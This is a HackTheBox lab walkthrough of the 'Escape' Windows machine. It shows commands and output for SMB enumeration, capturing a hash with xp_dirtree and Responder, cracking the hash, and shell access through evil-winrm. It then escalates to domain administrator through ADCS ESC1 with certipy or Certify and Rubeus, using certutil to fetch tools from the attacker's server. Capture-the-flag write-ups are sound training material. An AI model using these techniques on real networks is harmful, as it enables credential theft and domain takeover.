

Summary

Escape is a Medium level difficulty Windows machine from HackTheBox. It's running Active Directory services, a SMB share and a Microsoft SQL Server. We found a file meant for employees in SMB share which can be authenticated anonymously. We'll get the credentials of a public user which can be used to login Microsoft SQL Server. In MSSQL, they've enabled a function that shouldn't be enabled or shouldn't allowed public users to run. By using this misconfiguration, we get the hash of a service user. After cracking the hash using john, we used evil-winrm to get foothold as a service user. And then we've found that a domain user has wrongfully used their password instead of their username to authenticate in the backup file of MSSQL log file. For privilege escalation, there's a misconfigured certificate template(**ESC1**) which we used to get the hash of the administrator.

Initial Scan

We will run a nmap scan on this machine. Since we know it's a Windows machine, we need to use -Pn flag.

```
nmap -p- -sV -sC 10.10.11.202 -Pn
```

```
PORT STATE SERVICE
                            VERSION
53/tcp open domain
                           Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-
04-11 16:22:53Z)
                           Microsoft Windows RPC
135/tcp open msrpc
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
                            Microsoft Windows Active Directory LDAP
389/tcp open ldap
(Domain: sequel.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-04-11T16:24:28+00:00; +8h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2023-04-11T13:18:11
_Not valid after: 2053-04-11T13:18:11
|_ssl-date: 2023-04-11T16:24:27+00:00; +8h00m01s from scanner time.
|_ms-sql-ntlm-info: ERROR: Script execution failed (use -d to debug)
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
                            Microsoft Windows Active Directory LDAP
3268/tcp open ldap
(Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
_Not valid after: 2023-11-18T21:20:35
_ssl-date: 2023-04-11T16:24:27+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
```

```
(Domain: sequel.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.sequel.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>,
DNS:dc.sequel.htb
| Not valid before: 2022-11-18T21:20:35
|_Not valid after: 2023-11-18T21:20:35
_ssl-date: 2023-04-11T16:24:30+00:00; +8h00m01s from scanner time.
5985/tcp open http
                            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf
                           .NET Message Framing
49687/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49688/tcp open msrpc
                           Microsoft Windows RPC
49704/tcp open unknown
49712/tcp open msrpc
                            Microsoft Windows RPC
61409/tcp open msrpc
                            Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time:
date: 2023-04-11T16:23:47
_ start_date: N/A
| smb2-security-mode:
   311:
     Message signing enabled and required
```

We got the domain name of the machine, sequel.htb which we'll be adding to our /etc/hosts file.

We can also see a smb share on port 139 & 445, winrm service on port 5985, Microsoft SQL Server on port 1433 and Active Directory services.

Enumerating SMB Shares

Now, we can start enumerating services. We'll use smbmap to enumerate smb service.

```
-(kali®kali)-[/HTB/escape]
smbmap -u 'anonymous' -d sequel -H 10.10.11.202
[+] Guest session
                     IP: 10.10.11.202:445 Name: escape.htb
       Disk
                                                               Permissions
                                                                               Comment
       ADMIN$
                                                                               Remote Admin
                                                               NO ACCESS
       C$
                                                               NO ACCESS
                                                                              Default share
       IPC$
                                                               READ ONLY
                                                                              Remote IPC
       NETLOGON
                                                               NO ACCESS
                                                                              Logon server share
       Public
                                                               READ ONLY
       SYSV0L
                                                               NO ACCESS
                                                                               Logon server share
```

We have two **READ ONLY** shares called *Public* and *IPC*\$. Whenever *IPC*\$ is readable, we can use <code>impacket-lookupsid</code> to get a list of usernames in the system.

```
impacket-lookupsid -no-pass anonymous@10.10.11.202
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Brute forcing SIDs at 10.10.11.202
[*] StringBinding ncacn_np:10.10.11.202[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: sequel\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: sequel\Administrator (SidTypeUser)
501: sequel\Guest (SidTypeUser)
502: sequel\krbtgt (SidTypeUser)
512: sequel\Domain Admins (SidTypeGroup)
513: sequel\Domain Users (SidTypeGroup)
514: sequel\Domain Guests (SidTypeGroup)
515: sequel\Domain Computers (SidTypeGroup)
516: sequel\Domain Controllers (SidTypeGroup)
517: sequel\Cert Publishers (SidTypeAlias)
518: sequel\Schema Admins (SidTypeGroup)
519: sequel\Enterprise Admins (SidTypeGroup)
520: sequel\Group Policy Creator Owners (SidTypeGroup)
521: sequel\Read-only Domain Controllers (SidTypeGroup)
522: sequel\Cloneable Domain Controllers (SidTypeGroup)
525: sequel\Protected Users (SidTypeGroup)
526: sequel\Key Admins (SidTypeGroup)
527: sequel\Enterprise Key Admins (SidTypeGroup)
553: sequel\RAS and IAS Servers (SidTypeAlias)
571: sequel\Allowed RODC Password Replication Group (SidTypeAlias)
572: sequel\Denied RODC Password Replication Group (SidTypeAlias)
1000: sequel\DC$ (SidTypeUser)
1101: sequel\DnsAdmins (SidTypeAlias)
1102: sequel\DnsUpdateProxy (SidTypeGroup)
1103: sequel\Tom.Henn (SidTypeUser)
1104: sequel\Brandon.Brown (SidTypeUser)
1105: sequel\Ryan.Cooper (SidTypeUser)
1106: sequel\sql_svc (SidTypeUser)
1107: sequel\James.Roberts (SidTypeUser)
1108: sequel\Nicole.Thompson (SidTypeUser)
1109: sequel\SQLServer2005SQLBrowserUser$DC (SidTypeAlias)
```

Names that has **SidTypeUser** as a label is the usernames that's in the system. After enumerating usernames by using *IPC\$*, we also need to enumerate *Public* share that's readable by anonymous users.

We'll download the *PDF* file to see the contents inside since we can't open it on smb server.

For new hired and those that are still waiting their users to be created and perms assigned, can sneak a peek at the Database with user PublicUser and password GuestUserCantWrite1.

So, they've provided username and passwords for mssql and it looks like the account doesn't have much privileges considering it's for new hired employees.

Exploiting MSSQL

We can use impacket-mssqlclient to authenticate mssql server with the credentials provided by the *PDF* file.

<u>HackTricks</u> has an article for pentesting and enumerating mssql servers. After checking the permissions to see who can run the mssql functions, we can see that xp_dirtree can be called by the public, basically everyone who's logged in.

SQL> EXEC sp_helprotect 'xp_dirtree';						
Owner	Object	Grantee	Grantor	ProtectType	Action Col	lumn
						story I
sys	xp dirtree	public	dbo	b'Grant	' Execute	servi
3 y 3	xp_dirtree	public	ubo	D Grant	LACCULE	•

xp_dirtree is **an undocumented and unsupported command** that returns a hierarchical directory listing of the specified path in the file system. We can use it to access a smb server hosted by us to get the hash of the user running the service. In order to host a smb share on

our machine, we can use either responder or impacket-smbserver. We'll be using responder here -

```
sudo responder -I tun0 -v
```

By running xp_dirtree '\\my-ip\anything' on the mssqlclient, we'll get the hash of the user *sql_svc* on your responder console like this -

Since we got the hash, we can save it to a file and crack it with <code>JohnTheRipper</code>. The hash is saved in the sql_svc_hash file -

```
(kali® kali)-[/HTB/escape]
$ john --wordlist=/usr/share/wordlists/rockyou.txt sql_svc_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REGGI
(sql_svc)
1g 0:00:00:11 DONE (2023-04-11 16:29) 0.08802g/s 941971p/s 941971c/s 941971C/s REINLY..REDMAN69
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
```

Getting foothold and User flag

Now, we have both the username and password so we could try to authenticate a service. Since port 5985 (*winrm*) is open, we could try to authenticate it by using evil-winrm.

```
(kali® kali)-[~]
$ evil-winrm -i 10.10.11.202 --user 'sql_svc' --password 'REGGI

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detect

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\sql_svc\Documents>
```

After browsing through the directories, we've found an interesting file in the directory C:\SQLServer\Logs. It looks like user Ryan.Cooper has tried to login mssql with their

passwords instead of their username.

```
2022-11-18 13:43:07.44 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.44 Logon Logon failed for user 'sequel.htb\Ryan.Cooper'.
2022-11-18 13:43:07.48 Logon Error: 18456, Severity: 14, State: 8.
2022-11-18 13:43:07.48 Logon Logon failed for user 'Nuclear'. Reason
2022-11-18 13:43:07.72 spid51 Attempting to load library 'xpstar.dll' into mem
2022-11-18 13:43:07.76 spid51 Using 'xpstar.dll' version '2019.150.2000' to ex
message only; no user action is required.
```

We will use them as username and password for repectively evil-winrm since we can see that there's a user called *Ryan.Cooper* in the system.

```
(kali@ kali)-[/HTB/escape]
$ evil-winrm -i 10.10.11.202 --user 'Ryan.Cooper' --password 'Nuclear

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winr

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Ryan.Cooper\Documents>
```

We've successfully got the shell as the user that has a flag. We can see the user flag in C:\Users\Ryan.Cooper\Desktop.

Enumerating Active Directory Certificate Services

We ran winpeas.exe for local privilege escalation but nothing interesting came up. So my focus shifted towards Active Directory. We used a tool called <u>adPEAS</u> to enumerate Active Directory. We'll download it to our machine first and then download it to the victim machine from our machine.

```
wget https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS-Light.ps1
# Download to attacker machine

python3 -m http.server 80  # Host a webserver on attacker machine

certutil -urlcache -f http://10.10.14.62/adPEAS-Light.ps1 adpeas.ps1  #
Download it to victim machine

. \adpeas.ps1  # Dot sourcing the powershell script to use it

Invoke-adPEAS  # Enumerate everything related to the AD
```

```
[?] +++++ Checking Template 'UserAuthentication' +++++
[!] Template 'UserAuthentication' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[!] Identity 'sequel\sql_svc' has 'GenericAll' permissions on template 'UserAuthentication'
[+] Identity 'sequel\Domain Users' has enrollment rights for template 'UserAuthentication'

Template Name: UserAuthentication
Template distinguishedname: UserAuthentication
Template distinguishedname: CN=UserAuthentication, CN=Certificate Templates, CN=Public Key Services,

11/18/2022 21:10:22
[+] Extended Key Usage: Client Authentication, Secure E-mail, Encrypting File System
EnrollmentFlag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
[!] CertificateNameFlag: SUPPLIES_SUBJECT
[!] Template Permissions: sequel\sql_svc': GenericAll'
[!] Enrollment allowed for: sequel\sql_svc': GenericAll'

| Sequel\sql_svc': GenericAll' | Sequel\sql_svc': Sequel\sql
```

As we can see here, permissions for template **UserAuthentication** is set to **GenericAll** which means every domain user can request a ticket using that template. So, our goal here would be to request a ticket of *Administrator* and then use it to authenticate as *Administrator*. This misconfigured certificate template is often noted as **ESC1**

Exploiting ADCS ESC1

We can choose different tools for this task. The procedure is identical, the only difference is that one method needs an executable or two on the victim machine and the other method doesn't need any file. Both of these tools can also be used to enumerate AD certificate services so I'll also include how do we use these tools to enumerate.

certipy

certipy is a command-line tool for enumerating and exploiting **Active Directory Certificate**Services. We can get it either from their <u>GitHub Repository</u> or install it with our package installer -

```
sudo apt-get update
sudo apt install certipy-ad
```

We can use certipy to enumerate the vulnerable certificates like this -

```
certipy find -u Ryan.Cooper@escape.htb -p '$$PASSWORD HERE$$' -dc-ip 10.10.11.202 -vulnerable -stdout
```

Here's the output -

```
Enrollment Permissions
Enrollment Rights
                                         : SEQUEL.HTB\Domain Admins
                                           SEQUEL.HTB\Domain Users
                                           SEQUEL.HTB\Enterprise Admins
  Object Control Permissions
                                         : SEQUEL.HTB\Administrator
    Write Owner Principals
                                        : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
                                        : SEQUEL.HTB\Domain Admins
SEQUEL.HTB\Enterprise Admins
    Write Dacl Principals
                                           {\tt SEQUEL.HTB} \backslash {\tt Administrator}
    Write Property Principals
                                        : SEQUEL.HTB\Domain Admins
                                           SEQUEL.HTB\Enterprise Admins
                                           SEQUEL.HTB\Administrator
[!] Vulnerabilities
                                         : 'SEQUEL.HTB\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication
```

If we didn't use -stdout flag, we'll get 3 files instead, a plaintext .txt file, a JSON file and a zip to be used for BloodHound. From these outputs, we'll get template name, certificate authorities' names which will be needed for the next step.

```
Template Name => UserAuthentication

Certificate Authorities => sequel-DC-CA

DNS Name => dc.sequel.htb
```

We'll use use req command to request a new certificate for *Administrator* using the informations we got from the last step.

```
certipy req -username Ryan.Cooper@sequel.htb -password $$PASSWORD HERE$$ -ca sequel-DC-CA -template UserAuthentication -target dc.sequel.htb -upn administrator@sequel.htb
```

What this command does is that it requests a new certificate for another user supplied by – upn (User Principal Name) flag from the DC using the certificate template that's misconfigured, which is **UserAuthentication** in our case.

If we've done everything correctly, we'd get a .pfx certificate file which can be used to authenticate the DC using the auth command.

```
certipy auth -pfx administrator.pfx -domain sequel.htb -username administrator -dc-ip 10.10.11.202
```

Sometimes, our system time and the time on the DC are different. So, we could use ntpdate
or faketime
to sync the time between our system clock and the DC clock. If the clocks are synced up and the certificate is a correct one, we'll get a NTLM hash of Administrator.

We could use evil-winrm again to perform a **PassTheHash** attack on the DC. NTLM hashes are in the format of **LM:NT** and we only need **NT** hashes to authenticate. Therefore, we'll use only the latter half of the hash.

Certify.exe + Rubeus.exe

Certify.exe and Rubeus.exe are both C# tools used for Active Directory. <u>Certify.exe</u> is intended for enumerating and abusing Active Directory Certificate Services and <u>Rubeus.exe</u> is for abusing Kerberos interactions. We can get pre-compiled executables from this <u>repository</u>

We'll just download those to our machine first just in case if we needed those in the future. After we've downloaded it to our machine, we'll host a web server with python so that the victim machine could download those to their machine.

```
python3 -m http.server 80  # Attacker machine

certutil -urlcache -f http://Attacker-IP/Certify.exe certify.exe  # Victim
machine
certutil -urlcache -f http://Attacker-IP/Rubeus.exe rubeus.exe
```

With Certify.exe, we can find vulnerable certificate services by simply running -

```
./Certify.exe find /vulnerable
```

and here's the output -

```
[!] Vulnerable Certificates Templates :
    CA Name
                                         : dc.sequel.htb\sequel-DC-CA
    Template Name
                                          : UserAuthentication
    Schema Version
    Validity Period
                                         : 10 years
   Renewal Period
                                         : 6 weeks
                                         : ENROLLEE_SUPPLIES_SUBJECT
   msPKI-Certificate-Name-Flag
                                         : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
   mspki-enrollment-flag
    Authorized Signatures Required
   pkiextendedkeyusage
                                          : Client Authentication, Encrypting File System, Secure Email
    mspki-certificate-application-policy : Client Authentication, Encrypting File System, Secure Email
    Permissions
     Enrollment Permissions
                                  : sequel\Domain Admins
sequel\Domain Users
sequel\Enterprise Admins
       Enrollment Rights
                                                                   S-1-5-21-4078382237-1492182817-2568127209-512
                                                                   S-1-5-21-4078382237-1492182817-2568127209-513
                                                                   S-1-5-21-4078382237-1492182817-2568127209-519
                                   : sequel\Administrator
                                                                   S-1-5-21-4078382237-1492182817-2568127209-500
       WriteOwner Principals
                                  : sequel\Administrator
                                                                   S-1-5-21-4078382237-1492182817-2568127209-500
                                     sequel\Domain Admins
                                                                   S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins
                                                                   S-1-5-21-4078382237-1492182817-2568127209-519
                                   : sequel\Administrator
       WriteDacl Principals
                                                                   S-1-5-21-4078382237-1492182817-2568127209-500
                                    sequel\Domain Admins
                                                                    S-1-5-21-4078382237-1492182817-2568127209-512
                                      sequel\Enterprise Admins
                                                                    S-1-5-21-4078382237-1492182817-2568127209-519
       WriteProperty Principals : sequel\Administrator
                                                                   S-1-5-21-4078382237-1492182817-2568127209-500
                                     sequel\Domain Admins
                                                                    S-1-5-21-4078382237-1492182817-2568127209-512
                                     sequel\Enterprise Admins
                                                                   S-1-5-21-4078382237-1492182817-2568127209-519
```

We can request a certificate as Administrator by using request command -

```
./certify.exe request /ca:sequel.htb\sequel-DC-CA
/template:UserAuthentication /altname:Administrator
```

If the template is available for us to request, we'll get a .pem certificate in stdout like this -

```
[*] cert.pem
     BEGIN RSA PRIVATE KEY-
MIIEpAIBAAKCAQEAqRZfwTdQu0JjXvdnnAoJYcyCe7MWUE49IuKgPGxHFGEWblNV
x7EWeDPQeuz0A13lV4Z2PWvJTX2LqNeaAGq5sJ1vTdDyCmopjgRjgc8NkVQ2vzVr
1IkgEwPvxSvOsD9yOnFqTT7c1REWoK2vITQNDIceiRW6j9mfrRGRROuJeaPfB5f/
GT2fq3guIsTH9byXD0/6mYMCgYEAw3SzkSqG5njnEfZHhoMk86dSaLEPH57/Zn1v
X6yO/hrr1PF2zEZzwT16KhluhDEWlr27dq7Dtc6PWP8KqL7vVPXlL3URy77Q1L4u
yabAuqP0Jkh6+ayIB/ry+qLptYtTEkY+0UEBvj8AbLC35CNpXZ7vKx+0Ls4P+8PJ
8cwvpkkCgYByOrsZFe2aW+voct1uABN6s0le0J0WUUbtnLQGlAx3jE69lgIfFFVf
1X5p6F+xo/N9vCzLLv/raUUu/bNgQnH/hAl8o292IRO2M9mbsvxLgErGe6C5FwBX
nv+NTogSlmAVjjMkRaEYJo5dnhV+e0OpcY+VoSc26fu0KjCh9NXD4g=
    -END RSA PRIVATE KEY-
    -BEGIN CERTIFICATE-
MIIGEjCCBPqgAwIBAgITHgAAAAyIVzoAQorZJwAAAAAADDANBgkqhkiG9w0BAQsF
ADBEMRMwEQYKCZImiZPyLGQBGRYDaHRiMRYwFAYKCZImiZPyLGQBGRYGc2VxdWVs
MRUwEwYDVQQDEwxzZXF1ZWwtREMtQ0EwHhcNMjMwNDEzMTQ10TU0WhcNMjUwNDEz
```

We'll copy the .pem certificate to our Linux machine where we'll use openssl to convert the certificate to .pfx format.

```
openssl pkcs12 -in certificate.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out certificate.pfx
```

Now, we have a .pfx certificate as *Administrator* that can be used to authenticate DC and get the credentials. We could use certipy for this stage like I previously demonstrated. But for now, I'll use Rebeus.exe to get *Administrator* credentials.

We'll need certificate.pfx on the victim machine if we're going to use Rubeus.exe. We'll use python3 for web server and certutil for downloading to the machine. After we've

finished transfering files to the victim machine, we could now use Rebeus.exe to interact with Kerberos.

```
./rubeus.exe asktgt /user:administrator /certificate:cert.pfx
/password:%%PASSWORD_FOR_PFX%% /getcredentials
```

We should get a Kerberos ticket and a NTLM hash that can be used to perform **PTH** attack using <code>evil-winrm</code>. Ideally, we could perform **Pass The Ticket** by using <code>/ptt</code> option instead of <code>/getcredentials</code> but on <code>evil-winrm</code>, tickets only get imported and didn't get pass so we don't get access as the <code>Administrator</code>.

References

- 1. ADCS Domain Escalation by HackTricks
- 2. Abusing ESC1
- 3. HackTheBox Support Walkthrough by 0xdf